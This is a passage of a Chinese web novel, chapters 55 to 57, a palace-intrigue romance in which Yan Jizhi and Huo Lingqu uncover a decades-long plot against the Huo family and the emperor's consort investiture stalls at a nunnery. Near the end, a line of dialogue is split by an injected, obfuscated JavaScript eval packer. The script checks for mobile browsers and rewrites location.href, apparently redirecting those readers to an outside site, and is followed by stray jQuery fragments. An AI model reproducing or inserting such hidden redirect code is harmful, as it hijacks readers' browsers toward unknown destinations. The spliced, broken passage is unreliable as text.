“是她自己仗着掌握先机可劲显摆,这四五年就没消停过,想不令同道中人关注都难。”晏霁之好笑:“朝堂后宫谁能不赞声庄太妃有本事,哪想她遇真章竟如斯糊涂。 本身就已经成最忌讳的事,安分守己被圣人发现都可能招致杀祸,她却利用已知先机驱使着晋王疯狂招揽官员,在圣人眼皮底下抢权,指望谁能忽视?没掌握先机的都看清楚了,吏部薄尚书就在怀疑晋王是疯了吗?恐怕魏王一想到此,做梦都能笑醒。” 霍灵渠若有所悟:“老皇帝是怕难以掌控潜藏在暗中的隐患所以才禅位吗?” “你想呀,既然宝物能被我偷出自然也能被别人偷偷滴血。没有揪出暗中还有多少人,若再按原有轨迹推进,他的龙椅还能坐安稳吗?他赌不起就必须做出改变。” 晏霁之考量道:“但我总觉得和蜀王有关,是蜀王的崛起,他疑心会有多少人潜藏在暗处进而发现局势可能会超出他的掌控才犹豫恐慌,百般权衡最终选择禅位。倘若他不曾有疑,能确定有几个同道中人,包括他的亲儿们在内恐怕他都会毫不犹豫下杀手。” 霍灵渠疲惫地揉揉太阳穴:“真够累的。” “可他忧心得没错,现实证明禅位的确对他最有利,否则他可能已经被害驾崩了,也许圣人这几年看着曾经宠妃的作为都冒冷汗呢。”晏霁之恭维得明白不过,霍灵渠讶然确认:“你是指圣人倘若没有禅位,庄太妃敢在暗中弑君?” “权欲熏心,绝对做得出来。”晏霁之眯起眼,眼底思绪浮动:“还有件事也告诉你吧,三年前有批死士潜进嬴天漾的府邸杀害年轻女眷,我相信就是冲着你去的。” “杀害嬴天漾府中女眷,冲着我?”霍灵渠疑惑不解,晏霁之睨她冷嘲:“谁叫你对我阳奉阴违,要报仇前你跟我说什么,找爹爹找姑母帮忙?结果呢,你多有本事啊,那日被嬴天漾抱着舒服吧,要是没流血昏睡我看你都能直接跟他去做云南王妃了。” 霍灵渠默默垂眸抿唇,嘟哝辩解:“当时我失血过多,很累了,就不想多生事端。” “还有呢,你再狡辩啊。”晏霁之居高临下讽刺,霍灵渠听这阴阳怪气的语调不由反怼:“佟梦姿是你的亲姨母,我怎么让你帮我抓你的姨母?我只能再求助旁人。” 下瞬间她联想明白顿时惊了:“你是指幕后黑手依据曾经在京兆尹府衙前的事推断我是嬴天漾的妾室,派死士残害无辜是想除掉我以绝后患,你怀疑此人就是庄太妃?” 晏霁之点头嗯声,霍灵渠双手按心房位置,一点点揪心:“你有证据吗?倘若我们姐妹当真恨错人报错仇,前世里白白葬送桑柔和佟梦姿两条无辜性命,该有多荒诞?” “在查到庄太妃之前,我的怀疑没有超出过佟家;而你爹和祖父他们在得知济善庵里那位是假冒的以后也没有查证就认定是佟家的阴谋,你可知为何吗?” 晏霁之拉过锦被给她裹住,不必她作答,自问自答道:“因为阴谋的恶意只冲霍灵渠,迄今都十多年了还没有损害过霍家,那么除了霍漓江的妻室和岳家之外还能是谁?” 霍灵渠苦涩闭闭眼:“如果佟梦姿和佟家是无辜,如果真是庄太妃在操纵,那么多年,她如果只是想给她假死的幼女安排个锦绣人生,何苦这样冒大风险处心积虑?” “傻瓜,冒大风险自然是图谋甚大,这场阴谋怎会旨在给个小姑娘安排锦绣前程就够?”晏霁之对这份耐心也不得不赞声:“整场阴谋的企图自然是想颠覆霍家,但前十几二十年对霍家的谋算都还没开始呢,幕后黑手的耐心可能都有三十年。 若是能吞下霍家,冒点风险有何不值?况且武襄侯府的四奶奶如果真是圣人的六公主,即使霍家倾覆,庄太妃私底下向武襄侯府挑明,还需担心她的幼女会受影响吗? 你们姐妹当年被抓后没被害而只是被看管禁锢自是同样因由,因为留着你们肯定有用;哪怕有个万一被你们逃脱都不怕,两个假冒货远在山东而霍家有现成的箭靶。霍灵渠回归,佟梦姿肯定得死,届时霍家起内讧、又与佟家反目……”还有晏家?! 兴献侯夫人佟梦姿和英王妃佟梦娴可是嫡亲姐妹啊,在幕后黑手不知他与生母关系僵硬或者说在他还没有对生母死心前,假若霍家令佟梦姿病逝、佟家和霍家成仇,英王妃也必会恨毒报复霍家,那么他和晏家怎么可能置身事外?! 晏霁之心中骤然倒灌寒气却是想笑,原来是他想少了,这场阴谋算计得可真够深。 他慢慢平复会儿,不禁垂眸看向霍灵渠,这女人可知她当年寻回到家门前而不入究竟意味着什么吗?晏霁之兀的涌起股渴望,他好想抱抱她;女人就在怀里,他也好想再把人紧紧拥抱住,可看她难受沉默,迟疑下到底没惊扰她。 “这世间…最不可测量的还真是人心。”霍灵渠擦擦眼睛,抬头,不由自主地眼圈红润,她张张唇问:“你是怎么查出庄太妃的?” 晏霁之抚抚她的眼眸,柔声哄她不怕,再详细解释:“晋王有异样,我顺藤摸瓜揪出庄太妃,在她宫里埋眼线。武襄侯府的四奶奶成亲一年多还没怀胎,她身边的心腹怀疑有内宅阴私而悄悄查探;是我在暗中用手段,我当然要派护卫盯着她们的进展。 就在八个月前,正徽四年六月,这四奶奶的心腹查到她家少奶奶竟被喂了寒药,特意进济善庵汇报,当天济善庵的西院墙头就多摆出两盆花。我增派护卫盯着,几天后有个眼生的嬷嬷偷偷走进庵堂;她出庵堂后,护卫们悄悄尾随,发现这个嬷嬷竟然进宫了。 我根据护卫描述的特征画出此人的相貌,传递给埋在宫里的眼线,让他们找出此人。哪想我埋在庄太妃身边的眼线没几日就传来消息,这个嬷嬷是庄太妃的心腹,我岂能不震惊?这才意识到霍家当年大火的阴谋不对劲。” 霍灵渠吸吸鼻,没点感动是假的,眼酸道:“我一直都知道你对我很好,实则,你对我比我以为的还要好得多。” “于是乎你恩将仇报?”逮到机会晏霁之还是想戳戳她,霍灵渠无言,静静怀抱男人,时间刻印过心跳的波动,一种暖心窝的情愫在两人间滋生;晏霁之低头,温柔抚抚她的脸,霍灵渠微微仰头,携丝凉意的吻落在她的唇瓣,她随本能闭眼。 男女间最原始的渴望汹涌,贵妃的册封典礼被不约而同抛诸脑后乃至暂时遗忘,沉浸在炽热情~欲~中的他们此刻或许只能装住彼此了。 56. 第56章 午后光照正盛,红绡暖帐里,一斛春晖在指尖落拓,斑斑点点跳跃出心安的曲调。 明媚的阳光掠过美人恬睡的容颜携缕芳香悠扬,霍灵渠枕在溢满柔情的臂弯里睡得安然,晏霁之目不转睛凝视她,偶尔抬手拨弄美人垂落在耳畔的青丝,俊脸沉寂得像被定格,他仿佛心事重重又似只是在享受这种安宁。 寝屋外传来禀告声,晏霁之睫毛微动,轻轻抽出被枕着的手臂,掀被出被窝,给霍灵渠把锦被盖盖好;他在床边静坐几息时间,拿亵衣亵裤穿好再穿件寝袍,轻拿轻放倒杯水喝,走出寝屋关闭房门领婢女走远些,这才问情况。 “回禀世子,迎贵妃进宫的仪仗队还在济善庵前,霍三姑娘像是不愿意入宫。笛生管事打探到陛下的銮驾都出宫了,应该是要亲自去劝。” “这可真是……”他准备好和嬴忱璧叫板了也不给他机会吗?晏霁之吩咐:“备马车,传令晏四晏七随我出府,本世子也去济善庵瞧瞧热闹;姨娘在午睡,你们照顾好姨娘。” 朱楼屈膝应是,告退走出奕风楼即刻去传令。 晏霁之站定沉吟稍许,转身回寝屋;他刚从衣柜里取身镶银丝边绣墨菊的素雅长袍,床帏里就传出女人的担忧:“出事了对吗?我竟忘记今日册封贵妃。” “假冒你那位还在济善庵,我们怎么动身?”晏霁之拿着衣裳走到床边落坐,柔声道:“没事,别瞎想;皇帝都出宫去济善庵了,我也去看看情况,你再睡会儿。” “真没事?”霍灵渠将信将疑:“册封贵妃的圣旨都颁布三个多时辰了,假冒我的那位怎么会还在济善庵里没动静?她不可能还不知晓,难不成她要抗旨?” 晏霁之搁掉外袍,将拥被坐的女人抱满怀,亲亲美人微肿的唇瓣,没什么猜测的兴趣:“肯定是有缘由,我去济善庵探听清楚就回来告诉你,放心啊,真没出事。” 霍灵渠想想便点头嗯声,想拿被扔在床铺里侧的寝衣时晏霁之握住她的柔荑,哄她继续午睡就是,她失笑:“我都醒了还差这一两刻钟吗?我照顾你穿戴好再小憩好了。” 晏霁之闻言再吻住她,拥紧怀里的人热吻痴缠得不行,霍灵渠无奈,强行阻拦道:“你还要出门呢,再亲热会儿我看你的双唇都要肿了。好啦,穿戴好外袍就出门吧。” “最多拖延到明早。”晏霁之含住霍灵渠的唇瓣吮吸苦笑:“你就要离开我了。” “我何尝愿意去过那般煎熬的日子?可事已至此只能朝前看,况且我们分开对你也好。”霍灵渠自己都觉得太荒唐:“一天就十二个时辰啊。 这几日,我们每天有四五个时辰都在欢好,委实荒唐;我明白你怕我离开之后你得旷许久所以拼着劲儿想要,我就没拦过。可如此沉溺声色多伤身体,我都担心会损伤你的精气;若是再多留几日,我都不知道该不该给你炖补品了。” 我谢谢你的担心啊!这女人就是有本事硬生生扳过他的难受,晏霁之憋闷地脱掉寝袍裹住怀里的温香软玉,哼道:“要不要我告诉你的主公?好歹魏王对你也算有恩惠,他派你进晏家做细作,结果你把最该禀告的情况都瞒着,委实有违做细作的素养。” 霍灵渠穿好寝袍再拢拢青丝,平时在床笫间她偶尔也会穿晏霁之的寝袍因而自然得很,不赞同道:“我做细作是打探晏家的消息,我只管接命令办事。” “你可真好意思在本尊面前毫无羞愧说窥察我家。”晏霁之恭维怼她,霍灵渠抿抿唇,准备照顾男人穿戴时被抱住,晏霁之顺便就提了:“魏王喜欢你,你有察觉过吗?” “……啊?”霍灵渠既错愕又好笑:“你想什么呢,他哥哥在世时他都没有喜欢的姑娘,他哥哥死后他心里就只有报仇和争权夺利了,哪儿还会有风花雪月的心思?” “他可不曾用你向霍家拿好处。”晏霁之提醒:“现成的好处就在他眼前,只需把你送到霍家就能拿到了,他只想报仇和争权夺利为何能舍掉,难道是魏王不会算账吗?” 霍灵渠心里咯噔声,原本从未觉得有何不妥都有点犹豫了:“可能因为他哥哥的叮嘱,我向大哥哥寻求庇护时明确表示过不会回霍家,大哥哥既答应照顾我和桑柔,将我们转托付给魏王时自然会交代清楚,他…他遵从哥哥的遗愿吧。” 晏霁之挑最简单清晰的问:“魏王曾在姑苏住过五年,那时你应该跟他定居在姑苏,他回后院看你的次数多还是找他妻妾的次数多?” “我和桑柔跟他到姑苏后并没有住魏王府。”霍灵渠说,晏霁之有点意外:“这么避嫌,难得魏王竟能如此顾及你的名声,那他每月大概会看望你们几回?” “有时住几天,有时住十天半月。”霍灵渠莫名不敢看他,答得更是慢吞吞的。 他刚才绝对见鬼了才夸魏王懂避嫌!晏霁之冒出点妒火谴责这个同样不知避嫌的女人:“魏王想住,你就任由他住着吗,你不会把他赶走吗?在姑苏时你还是清清白白的姑娘家,放任外男时常住进你的宅邸,你还想要名声吗?” “本就是他置办的宅院和仆婢,我和桑柔是借住在他的宅院里,我有什么资格赶他?”霍灵渠鼓劲反驳:“况且他哥哥过世后,他整个人都变了。” “然后你给他当解语花做红颜知己吗?”晏霁之冷笑:“他这算把你当外室养吗?” 霍灵渠伸手环抱住晏霁之靠他怀里,语调泛哀:“授康二十一年中秋,悼太子强迫弟弟出京更是给魏王下死命必须在姑苏城住满五年,我和桑柔当时就跟着前往姑苏生活了。 年底的时候大哥哥来姑苏,还跟我打趣让我看着魏王些,别让他在姑苏成天胡闹闯祸,我还应好呢;哪想授康二十二年端午,大哥哥就死了。” 晏霁之很清楚凭那几年魏王对她的庇护就没法计较,但清楚归清楚,心里就是不舒服:“什么叫两个人犯的罪孽能赎罪就逼着他一同弥补,你只想赎罪弥补何必非拽着他,你对他没情义能管他这么多?想跟魏王断掉很容易,是你就没想断吧。” “或许吧。”霍灵渠平静承认:“这些年我看着他在歧途上越走越远,我知道拉不住他,但我不想在他还能听得进我的话时就放手。” 晏霁之郁闷得被迫熄火,只能刺句:“魏王可真舍得,把喜欢的女人往外推。” “比起仇恨和权势,他真喜欢过谁也微不足道。”霍灵渠不再多言:“穿戴出门吧。” 晏霁之叹气应好,霍灵渠走下床榻,从箱笼里找出和这身银丝绣墨菊华袍相配的腰带及配饰照顾他穿戴,把男人拾掇得清隽高雅又倜傥再送到寝屋门前,晏霁之亲亲美人:“再睡会儿,睡醒我就回来了,回来给你带百味斋的烤肉脯和桃花小铺的糕点。” “好,你让车夫赶慢些,也靠在车厢里打个盹儿吧。”霍灵渠含笑叮咛,送他出寝屋,她关闭屋门后还真就继续回床铺里睡觉了,他们夜里又只休息两个时辰,她确实累。 晏霁之走出奕风楼来到蔚然居外,晏四晏七已经候着,带上他俩就出府。 白驹双驾马车越过未时末逐渐偏西的日光穿梭半座城来到坐落在通祥街的济善庵,原是较为偏远僻静处,盖因迎贵妃的仪仗队前来,此刻的庵堂清修地前热闹极了。 庵堂前停着皇帝的銮驾,禁军列两排肃穆站立,围观的百姓们离得较远,然而密密麻麻的人群把通祥街两端围得几乎水泄不通;站在济善庵空地前则是官宦少爷们居多,三三两两或三五成群相聊得欢,更兼有自带茶点瓜果的,这热烈洋溢劲儿都快赶上集市。 晏霁之带护卫来到庵前,放眼观察遍发现他几个堂弟在,示意晏四晏七隔三丈远尾随,他握折扇走到弟弟们面前招呼声,晏煦之惊讶吐槽:“你竟然出门了?” “你来济善庵看热闹不叫我?”晏霁之斥他,晏煦之顿时怨气上涨:“我到是想叫你,你的流光姨娘肯吗?午膳前去蔚然居找你,丫鬟跟我说这时段实在没法通传,你今早本要带晏诺出府办事都取消了,我还怎么叫你?我都以为你今天要赖在床帏里了。” 晏霁之轻咳:“陛下在?” “在,但这不表示你就能跳话题。”晏朗之二十五岁,和他们同个曾祖父,血脉相对远点但自家兄弟关系自然不差,他是武将,肤色偏黑且脸部线条更硬朗,稍微有点意见道:“我瞧着流光姨娘行事也太没点轻重了,大哥你该管的还是要管管的。” 他们之字辈的堂兄弟排行,晏霁之最年长,喊大哥也没错,小圈圈排外就这么实在。 “流光知道轻重的,我有数。”晏霁之继续跳话题:“庵堂里这位不愿意?” 晏朗之提醒过不好再揪着:“依我看就是霍海啸做孽,他求圣旨前不能和堂妹通气吗?贵妃位给谁不行啊竟然能给霍灵渠?霍三满脸伤疤容颜尽毁都只求在庵堂里青灯苦佛终老,进宫要怎么过,这是想逼得她日日泣血吗?” 晏煦之反驳:“没那么严重,就凭贵妃的身份,太后还是她姑母,她关起宫门来,哪个宠妃会没事找事去她宫里撒野放肆?何况还有霍家在,我倒觉得这就只是给她换个地方生活,否则兴献侯能答应吗?霍海啸到底是好意给出这份补偿。” “但霍振羽就没有好意了。”作为旁观者,晏和之就事论事:“半个多时辰前他和佟梦佶赶过来与霍海啸狭路相逢,他们堂兄弟翻脸都要摆上台面了。” “翻脸?”晏霁之一时没领会:“现在的情况,振羽和霍海啸不是应该能缓和吗?” “能缓和的前提是霍振羽和霍蓁蓁放掉做国舅做皇后的心思啊。”迎上堂哥惊诧的眼神,晏煦之肯定道:“真的,和之告诉我们时我和朗之也不信,我们还特意查了,今早圣旨出来,霍振羽就骑马赶去外祖家;他长姐被封做贵妃,他就跑佟家,这不是此地无银吗?” 晏霁之不敢相信:“霍灵渠可是他和蓁蓁的长姐,他们长姐做贵妃还能有蓁蓁的事吗?哪怕蓁蓁难以接受仍然痴心妄想,振羽总不可能连这么点分寸都没有吧?” “哥哥你是没看见他和霍海啸见面时那硬碰硬的气劲儿,你看见就不会再有疑虑的。”晏和之戳破堂哥的幻想:“霍振羽现在的架势就是宁可与霍海啸决裂也要争皇后位。” “他疯了?”晏霁之瞳孔一缩,怔怔吐出三个字。晏朗之讥讽:“没疯,怎么会疯?只顾自己得失而毫无家族罢了,霍海啸做孽,霍振羽兄妹就是彻头彻尾的自私自利。 大哥,我不是要挑拨,我也觉得穆国公和霍海啸突然舍掉霍蓁蓁挺不厚道,但人家想捧自己的亲孙女亲闺女再正常不过,何况这都求来贵妃位给补偿了。虽然对霍灵渠是造孽,但不能否认霍海啸的确是好意,做得够可以了。 可霍振羽兄妹在做甚?穆国公是霍家的家主,霍家捧谁本就是由他来拍板决断的,就因为他不肯再捧霍蓁蓁,霍振羽就敢联合外人对抗家主甚至不惜与家主决裂也要争,这是妄想靠穆国公争继后宝座再等成功后把穆国公和霍家踹开么,这还不够狼心狗肺吗?” 晏朗之冷笑:“他霍振羽想做国舅,有本事就别靠霍家去争;既然要仰仗霍家那能有他做主的份儿吗?这种表弟表妹如何还能相与往来?大哥你还是避而远之好。” 晏霁之深呼吸平复:“我知道了,你们聊,我去和霍海啸打声招呼。” 在场,虽然各自相谈的小团体之间站得远近不一,但左右间互不影响。霍海啸恰好只和亲弟弟站着说话,身旁没外人,故而晏霁之走近就打趣:“两位大舅哥晒太阳呢。” 霍巨浪看他眼,垂眸叹气。霍海啸自若笑:“不及妹夫慧眼如炬,你昨日评价可真准。” “他真想和你撕破脸?”晏霁之抱侥幸做最后的挣扎,霍海啸笑意未减然笑得那么冷:“‘霍海啸你不用得意,我们姐弟都是活生生的人,不是任你摆布的布偶傀儡,绝不会白白给你们父女做踏脚石。’原话。” 呵,居然等同决裂的狠话都放出来了?!晏霁之被气得紧握折扇,捏得指尖隐隐发白。 霍海啸向他走近步,讽刺道:“前几天我对你说过‘你若心疼表弟,尽管负责他的前程。’但现在我要收回后半句而是改为:你若心疼表弟,当心好心被当做驴肝肺。” 瞬间涌现的怒气散退,晏霁之自然也只剩心凉:“宁可霍家嫡两房决裂,你问过吗?” “我问的。”霍巨浪抹把脸说:“真会决裂也是长房咄咄相逼所致,可怪不得他。” “他爹晓得他这么了不得吗?”晏霁之被蠢得都想笑了,霍海啸应承:“刚知道,叔叔顺口就评价了四字:外甥像舅;我猜也是越过佟图匡,佟梦奭给外甥出的主意—— 只要他霍振羽能强硬的表态就不由得他爹霍漓江摇摆犹豫,他的长姐霍灵渠被封为贵妃又是祖父最疼爱的孙女,他们合力说服祖父重新捧霍蓁蓁将会轻而易举。” 晏霁之真不是想故意活跃气氛:“你就没带他到他爹面前对峙吗?让姨夫来句:老爹还没死你就敢拿你亲爹当死人,那你们兄妹就卷成团滚到佟家改姓佟吧,应该行。” 霍巨浪:“……”他心里有些难受都要被逗乐了,扬起手臂没好气地就给晏霁之来掌。 “他能配我给他醒脑吗?”霍海啸阴沉放话:“我只旁观他怎么死就够慈悲了吧。” 闻言,霍巨浪别开眼再叹口气,相较而言晏霁之平淡得多,往四周围观察遍,确保不会被偷听再压低声音问:“依你看,郢国公道貌岸然吗?” “不算吧,不乏狭隘偏私而已。”霍海啸讶异:“你们最近有过节?” “我帮嬴天漾查批死士,查整整两年查到是郢国公府派遣的,我和阿漾都想不明白;后来查出更深的渊源,我怀疑是有人请动郢国公帮忙。今早和你妹妹聊起来,我突然意识到很可能郢国公不只是帮忙而已,更可能是由始至终参与其中。” 幸亏霍海啸理解能力强:“画虎画皮难画骨,既然有疑虑就继续往下查吧。” “你有没有想过,假若当年霍家大火的阴谋是外人在操纵,霍家若没有察觉,他们放个三十年的长线吞掉霍家;若灵渠回归,则撬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459248|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动你我两家死斗,可能吗?”晏霁之幽幽言尽,霍海啸猛然按住他的肩膀,像要吃人的老虎逼视他:“你有证据?” 霍巨浪在旁边听得都不由灌寒气愣是没插话;晏霁之轻松推掉按着他肩膀的手臂,声线低低若有怅然:“我在想灵渠,真担得起霍家的掌珠。”可明早,他的女人就要被夺走了。 霍海啸愣了愣,气势陡然弱掉,闭闭眼就泛起苦涩。晏霁之别开眼,随意看向别处,注视到佟梦佶和霍枫叶站作堆时没在意,下个瞬间猛然敏感。 “霍枫叶怎么没在庵堂里相劝?” “小叔说算上舒窈和我媳妇都有六个人在劝,够了。”霍巨浪答,心头还沉甸甸的。 偏偏人家自己给出的话,晏霁之也不以为然:“记得你带弟弟妹妹爬树,舒窈闹着海啸必须准备接她,霍枫叶可是都能乐呵呵在树下准备给灵渠做肉垫,他童年多疼爱灵渠。” “你也觉得不对劲?”霍海啸恢复过来,自嘲道:“我细细想来,小叔十三年前就不再往山东探望;她们回到京城后,小叔也是冷淡,想必小叔早就察觉到了。” 晏霁之理解感叹,忽而思维扩散牵出个奇思妙想:“叔侄同龄兼童年玩伴,还同养在霍老夫人膝下,霍枫叶童年对灵渠的疼爱没得说,他最早察觉异样也正常,但你们觉得他二十多岁还不娶妻更活得像苦行僧跟这事有关系吗?” 霍巨浪顿时又被治愈难受:“你觉得能有什么关系吗?” “你家妹妹问起小叔的情况都怀疑过的,五没啊,没娶妻纳妾没通房外室没红颜知己,你妹妹都要怀疑小叔有隐疾了。”晏霁之反驳斥:“你拿个说法来。” “也许我小叔也如你般曾经有过情殇只是我们不知道而已,你当谁都跟你似的有个情殇就闹得轰轰烈烈吗?”霍巨浪几乎想嫌他找骂了:“你弱冠时都能立誓三十岁再娶,我小叔为何不能三十岁前没娶媳妇的心思?” 晏霁之退让:“好,你有道理。”瞟眼霍海啸若有所思,他拿折扇指指庵堂,问霍巨浪:“庵里这位在闹什么劲儿啊,真看破红尘还是故意拿乔?” “做位同副后的正一品贵妃怎会不愿意?”霍巨浪讥笑:“在和她身后的主人较量呢,想要把伤疤治愈痛痛快快做娘娘享尊荣。” “什么,治愈?她治愈伤疤可相当于他们的阴谋会不攻自破,她总不可能认为她治愈之后能长得像霍灵渠吧。”晏霁之怀疑:“庵堂里这位能有那么傻?” “是妹夫你高看这位的脑子而低看她的心气。”霍海啸冷冷道:“占到我霍家十六年宠爱又骗到陛下对她怀有几丝情谊,再得封贵妃,哪还能按捺住飞上枝头的妄想?”话落,一阵浓郁的肉香飘近,萧耿烨拎着装满烤鸡烤肉卤肉糕点瓜果蜜饯的提盒走了过来。 晏霁之瞟瞟这满食盒的吃食,快服了:“你可真有逸趣。” 萧耿烨还没来得及解释,霍海啸意有所指抢话:“是舒窈饿了,指使丈夫跑腿,如何,我妹夫体贴吧?” 晏霁之当然听得出话外音:“我媳妇温柔,不会有使唤丈夫跑腿的心思。” “你娶妻了吗就媳妇,真想把流光姨娘扶正啊?”但他媳妇好像很赞成,这都什么事啊,萧耿烨摇摇头,刚问他们可要拿包零嘴,霍枫叶和佟梦佶就走了过来,霍枫叶笑道:“肉香味把馋虫给引出来了,侄女婿能给小叔送包烤肉吗?” 晏霁之和霍海啸同时不着痕迹看他眼,霍海啸心底再次自嘲,这小叔叔莫非食欲好吗?若非确信庵里那个是冒牌货,疼爱的侄女闹脾气,小叔能平静得像没事人? 又有几位被肉香味吸引围拢过来,萧耿烨分掉些许吃食,拎着提盒往济善庵里送去。佟梦佶要和大外甥谈点事,还没寻僻静处,禁军大统领疾步而来:皇帝召见晏霁之。 蓝湛湛的天际,白云似棉絮聚散离合,掠影浮动,潇洒游过天地遥距在院墙落块阴郁。 黛瓦白墙的清修地因着有庵堂里面院墙种满攀藤月季花而增添不少生趣,正徽帝嬴忱璧金冠束发,身着紫红缕金缎袍,站在半丈外凝望红艳美丽的花卉,然而相近的衣着彩色却仍显得皇帝和此处格格不入,大约是他周身的气场太冷了吧。 统领带人过来后就告退,晏霁之行过礼即缄默,自然清楚皇帝心情不好,定在自己生辰当天册封贵妃岂会是随意安排的,被破坏掉能心情好吗? “庵里这位,没说要抗旨也没说不愿意,只说她满是伤疤相貌丑陋如何能进宫做贵妃?这是在和她身后的人抗争,想趁机迫使她身后的人答应让她治愈伤疤。看情况还得拖延几日,朕不想再耗,打算今夜就送出城,你今夜送灵渠入潜邸,明日办贵妃的册封礼。” “陛下何必如此客气?” 晏霁之提议:“您和兴献侯谈谈,用点安神香,天黑前把两个假冒货送进潜邸。今夜她们大概会派心腹联系身后的人或者在幕后那位会主动联络她们,正是顺藤摸瓜的好时机。即使今夜未必能有动静,以防万一也还是等明早再送走。” 皇帝沉吟半响同意了,仍道:“今夜你也送灵渠进潜邸。” “臣明白,今日是陛下生辰,您想见贵妃,可您问过贵妃的意愿吗?灵渠心心念念只求给皇帝做夺得权柄的棋子。”晏霁之哪能愿意白白放掉今夜:“她还没有进宫就盼着出宫了,她甚至已经在谋划功成身退后的生活,陛下何苦强人所难?” “朕和贵妃的感情,不是晏卿能过问的。”嬴忱璧告诫:“下不为例。” “那么臣该问过贵妃可愿提前进潜邸吗?”谁叫皇帝非要强取豪夺,晏霁之戳心窝道:“若陛下想告诉臣~只需遵您的皇命而无需在意贵妃本人意愿,臣自当遵从。” 嬴忱璧拢在袖中的右手握成拳:“朕自会解释,你只管今夜就送贵妃进潜邸。” 晏霁之只得给皇帝报个秘密:“昨夜,我刨问出灵渠的心里话,是她入风尘前的期待:‘春日游,杏花吹满头。陌上谁家年少,足风流。’” 嬴忱璧怔住了,难以置信、明显受到震动:“你清楚这两句诗的含义吧。” “她反问我:二十岁进撷芳馆不觉得这年岁大吗?陛下以为呢?”晏霁之苦笑自嘲,嬴忱璧眉头紧皱,深藏眼底的黯然愈浓,不想相信可仍被牵引着想知道答案:“谁?” “问不出来,陛下想知道可亲自问贵妃,但臣相信陛下不在意是谁只盼贵妃能忘掉。” 晏霁之状似替皇帝着想而实则也确实有替皇帝着想的规劝:“灵渠对我说既肯入风尘,还会在意清白吗?话虽如此,可若是能求,她会不想要从一而终吗? 她跟我尚且心甘情愿,我们多年耳鬓厮磨我都没得到她的心,何况进宫是强她所难;没有尊重的深情,灵渠恐怕永远难接受,陛下既想求天长地久又何苦再争朝夕?” 嬴忱璧明知他的意图都不能否认他这话有道理,攥拳挣扎许久,咬牙认了:“好。” 月季花香淡淡袭人,一只斑斓大蝴蝶翩翩隐没进花丛,零落几不可察的花蜜碎香残痕。 57. 第57章 西斜的金乌照射给屋檐门廊延伸片阴影,晏霁之走出庵堂踏在阴影中,一颗心也像蒙着阴翳,明日起他就得和寂寞孤独相依偎;漫漫岁月无情,他还需再孤寂几度寒暑春秋? 眼前热闹依旧,晏霁之浑似在落寞中淌过遍般再也提不起兴致,只想回家抱他的女人。他整整心绪,准备喊护卫返程时佟梦佶走近前来表示要和大外甥单独聊聊。 他们走出看热闹的人群,来到街边僻静处,晏四晏七隔段距离把守着防止路人打扰,佟梦佶尽量控制都险些压不住愤怒:“册封贵妃的圣旨刚颁布,霍振羽就赶到外祖家,竟然还要我们想办法帮霍蓁蓁争皇后宝座,父亲今早差点被气昏。 他亲姐姐做贵妃啊,只凭这一点,继后的位置怎么可能再和他妹妹有关系?穆国公和霍海啸都给出台阶想重修和好,他竟然反而变本加厉,我都怀疑究竟是蓁蓁不肯死心还是其实是他霍振羽满心满眼盯着要做国舅爷?” 晏霁之低眸似在走神:“他到济善庵与霍海啸对上时很强硬,是佟梦奭在怂恿他?” 佟梦佶默认道:“老太太的美梦还没醒呢,圣旨出来,她就在家里大发雷霆,霍振羽今早赶来后他们都商量到要给妙兮争四妃中排第二的淑妃之位。”他心中冷笑,深呼吸再知会:“父亲已经决定尽快送大哥回滁州老家,让老太太病场,将来把佟家交给二哥。” “假设,我是指假设,我有个假设想请教,希望小舅能坦诚相告。”晏霁之神情很淡而语气更淡以致都没显露出讽刺:“假设外祖父对我的疼爱有十分,对霍振羽能有几分?” “应该能有……”佟梦佶初闻没领悟还真思考了,深思时恍然意识到不对劲,猛然看向晏霁之却看到他眉眼间浮现着悲哀,有些不自然地别开眼,答不出来了。 “没吧,但凡能有丝毫,在佟梦奭蛊惑霍振羽与霍海啸决裂时他都该阻拦而非放任,到这种境地还要放任是不是能表明他根本不在意那俩外孙在霍家的死活?” 晏霁之讥笑声,更像在陈述:“六个外孙,佟家有谁真正不掺利益的疼爱过吗?” 佟梦佶无言以对,提个醒就准备离开:“父亲的意思,你和大姐夫若是嫌大姐闹腾也可令她病场,佟家不会过问的;母亲和大姐能消停段,咱们也能安生清净几日。”语毕即告辞,刚走几步忽然被喊住,冷漠声在背后响起:“佟尚书对霍振羽的打算是什么?” 他犹豫下才走回到刚站的位置,虽然很讽刺但就是这么回事:“霍振羽不会相信你的,他根本分辨不出谁真正对他好,你再费心思都没用反而可能还会遭他怨恨。” “过奖了,昨日我自以为多多少少能把表弟骂醒些,今早我自以为哪怕我不曾痛骂过他都能明白该和霍海啸言和,委实是我多虑,倘若我再费心岂不真叫没事找事吗?没那么闲,我只想问问佟尚书的打算也好有个底。” 佟梦佶叹息,两个外孙,霍振羽满心向着外祖家但根本没人在意他,晏霁之常疏离有时还捣乱使坏偏偏他父亲乃至他都愿意给出几分真心,是很讽刺,可霍振羽自己没有能让他们看得上眼之处还想指望谁肯给他点真心? “随他们兄妹想怎样折腾,等霍家管教过,蓁蓁死心嫁人也就能消停了。” “你考科举时与长兄相隔十多年,你没受影响,你两个哥哥呢?”晏霁之投桃报李:“他们因何故皆止步于举人?佟梦奭考不中进士所以连他的同母亲弟都被迫无论能否高中进士都必须不能考中,小舅总没忘记这事吧。” 佟梦佶自然记得就是一时没理解此言中意:“毕竟他是长兄要鼎立佟家门楣,怎么能被弟弟逾越?”说时未深想,说出逾越方才如被打通关窍般惊觉:“霁之你认为他绝不会认,父亲若想舍掉他把佟家交给二哥,大哥他必会死闹不休?” “刚才小舅提过佟梦奭想给他女儿佟妙兮谋取淑妃位,那么他争淑妃位的意愿与之前想争贵妃位置的初衷相同吗?”语毕,没等应答,晏霁之就迈步走开。 